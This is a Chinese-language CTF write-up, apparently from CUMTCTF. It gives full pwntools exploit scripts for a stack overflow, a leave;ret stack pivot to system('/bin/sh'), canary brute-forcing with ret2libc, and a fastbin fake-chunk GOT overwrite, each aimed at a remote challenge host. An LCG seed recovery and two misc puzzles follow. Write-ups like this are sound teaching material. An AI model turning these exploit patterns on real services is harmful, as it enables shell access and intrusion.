# PWN

# pwn1

nc 连上 直接 cat flag

# pwn2

经典栈溢出
image-20230425230815230

1
2
3
4
5
6
7
8
9
from pwn import *

#r=process("./pwn2")
r=remote('1.15.81.218',10001)

p=b'a' * 72 + p64(0x400596)
r.sendline(p)

r.interactive()

直接传就行了...

# pwn3

开了 NX 保护,没开金丝雀

image-20230425230949625 有个 echo flag,感觉像是那么回事,实际上没用,

所以还是得通过 system 函数来搞

image-20230425230831039

这里 s 大小是 0x28,所以只能溢出 0x8 字节,不够写太长的,但是这里可以读两次,所以思路是第一次泄露 ebp 地址,第二次写入 system (‘/bin/sh’),然后用 leave;ret 栈劫持 s,执行 system ('/bin/sh')

要劫持 s 要知道 s 的地址,可以通过动调知道 ebp 到 s 的距离,然后计算

ebp 到 s 的距离为 0xffffc1f8 - 0xffffc1c0 = 0x38

所以 ebp:

1
2
3
4
p = b'a'*0x27+b'b'
r.send(p)
r.recvuntil(b'b')
ebp = u32(r.recv(4))

可以得到 ebp 的地址,然后 - 0x38 得到 s

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

r=process('./pwn3')
#r=remote('1.15.81.218',10002)

sys_addr=0x8048400
leave_ret=0x08048562
main_addr=0xdeadbeef

p=b'a'*0x27+b'b'
r.send(p)
r.recvuntil(b'b')
s_addr=ebp=u32(r.recv(4))-0x38 # ebp-s=0x38
print(s_addr)

p2=b'aaaa'+p32(sys_addr)+p32(main_addr)+p32(s_addr+0x10)+b"/bin/sh"
p2=p2.ljust(0x28,b'\x00') # /bin/sh添上\x00
p2+=p32(s_addr)+p32(leave_ret) # hijack s
r.send(p2)

r.interactive()

# brute?

brute canary, 暴力破解金丝雀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *

#r = process('./brute')
r=remote('1.15.81.218',20000)
canary = b'\x00'
def find():
global canary,r
#r = process('./brute')
r=remote('1.15.81.218',20000)
print(r.recvuntil(b'2021!\n'))
canary = b'\x00'
for j in range(3):
for i in range(0x100):
r.send(b'a'*100 + canary + bytes(chr(i).encode()))
a = r.recvuntil(b'2021!\n')
if b'Successfully' in a:
canary += bytes(chr(i).encode())
print(canary)
break
if(len(canary)!=4):
find()

find()
print(canary)

elf = ELF('./brute')
system = elf.plt['system']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x08048560
p1 = b'a' * 100 + canary +b'a'*12+ p32(puts_plt) + p32(main) + p32(puts_got)
#print(r.recvuntil(b'2021!\n'))
r.sendline(p1)

puts_addr = u32(r.recv()[0:4])
print('puts_addr:',puts_addr)
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
p2 = b'a' * 100 + canary +b'a'*12+ p32(sys_addr) + b'a' * 4 + p32(bin_sh)
r.sendline(p2)

r.interactive()

爆破好慢...
CUMTCTF{5305918b-e080-4f2d-b9b1-8a6f3ed727d5

# pwn4

edit 的地方有个堆溢出漏洞

l33t 是后门函数,想要触发需要使位于 bss 的 (unsigned __int64) magic > 0x1305

unsorted bin attack,修改 magic 的值为 unsorted bin 的地址,可以使 magic > 0x1305

...

被坑了。。。

竟然不是这个目录。。。。。。。。。。。

然后打算修改一下 system 指令的字符串,发现这个字符串被存在 rodata,只读

image-20230425230855187

只能重新搞

想办法控制 heaparray,

用 fake chunk 修改 heaparray [0] 为 free_got 的地址,然后用 edit () 修改 free_got 为 system 的地址

接下来就 free 掉一个存了 /bin/sh\x00 的 chunk,这样就可以 getshell 了,这个可以事先创建好这样的一个 chunk 来实现,然后用 delete_heap 调用 free

fake chunk 的话,可以再搞两个 chunk,free 第一个 chunk,然后修改另一个造成堆溢出来修改第一个 chunk 的 fd 指针,使其指向 fake chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

#r=process("./pwn4")
r=remote('1.15.81.218', 10003)
elf=ELF("./pwn4")

heaparray=0x006020E0
fake_fastbin=0x6020ad
system_addr=0x400C2C
free_got=elf.got["free"]

def create(size,content):
r.recvuntil("Your choice :")
r.sendline(str(1))
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap:")
r.sendline(content)
r.recvuntil("SuccessFul")

def delete(index):
r.recvuntil("Your choice :")
r.sendline(str(3))
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("Done !")

def edit(index,size,content):
r.recvuntil("Your choice :")
r.sendline(str(2))
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap : ")
r.sendline(content)
r.recvuntil("Done !")

create(0x10,b'a' * 0x10) # idx0
create(0x10,b'a' * 0x10) # idx1
create(0x60,b'b' * 0x10) # idx2
create(0x10,b'/bin/sh\x00') # id3
delete(2)
edit(1,0x30,0x10 * b'a' + p64(0) + p64(0x71) + p64(0x6020ad) + p64(0))

create(0x60,b'd' * 0x10) # idx1
p=0x23 * b'e' + p64(free_got)
create(0x60,p) # idx4
edit(0,0x8,p64(0x400C2C))

r.recvuntil(b"Your choice :")
r.sendline(str(3))
r.recvuntil(b"Index :")
r.sendline(str(3))

r.interactive()

# lcg

参考这个博客,可以直接出 https://blog.csdn.net/superprintf/article/details/108964563

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *

def gcd(a,b):
if(b==0):
return a
else:
return gcd(b,a%b)

s = [64053834035066785058511795263859088093402576718387054930069870694827422995248363210875296865931156540418540088656840163752864867889701529, 62747878069691338351001678737533032651009187924993079609551517187402239263500990458468121965725468864035542647616568888614971291913860683, 8610389166165547798963079074461089122942923569827711232062490735297527674581120584017030806864406444034839689358368567214353599295961192, 67368398051089407366868405625671942347378755129423872678285919732014302509367453094142041707571135936337763803644340301362544880144675515, 3140546334522640626644397935274312967014650101920766829848908314358452633165879115222769049730993718556007257838431843662986174886332684, 86570894867827558107244361752089586436766881136739525172025909326268148819720261812567282066327259810017581923500053674785415315313293458, 74270633946662538117925791534180331044438757906314082041974053142483165604719102121031974214138125154407150853174565679126633465007917723, 82222345180880564316408536364709779418528442531150999715627704885024880160675971236916036110841803202987616501846568355385621016171784903, 79833541796675422937999973936505826001046326324194169378072775519666431460490483847928549009565561011528302879850550395115321828798479473, 70276250399219459795079058514491950109021040664671993784167534811426903455184545174600178849521746939676479421177456528336980088529680364]
t = []
for i in range(9):
t.append(s[i]-s[i-1])
all_n = []
for i in range(7):
all_n.append(gcd((t[i+1]*t[i-1]-t[i]*t[i]), (t[i+2]*t[i]-t[i+1]*t[i+1])))

MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] #逆元计算
for n in all_n:
n=abs(n)
if n==1:
continue
print (n)
a=(s[2]-s[1])*MMI((s[1]-s[0]),n)%n
a_phi=MMI(a,n)
b=(s[1]-a*s[0])%n
seed = (a_phi*(s[0]-b))%n
print(long_to_bytes(seed))

# Misc

# 加密?

跳舞的小人解出密码:SHERLOCK

打开后看到一个空白的 txt 文件,查看内码,零宽解出:JKGASwqeeh!@$

得到这个:63756D746374667B69745F69735F63727970746F3F7D

base16 解密:cumtctf

# 社工?

大意了,WANG/JIA 中间的斜杠还要保留

去这里扫一下机票上的二维码:https://demo.dynamsoft.com/barcode-reader/

得到信息:

image-20230425230905993

然后去搜一下飞机票二维码的数据信息

M1 就是旅客姓名

flag : cumtctf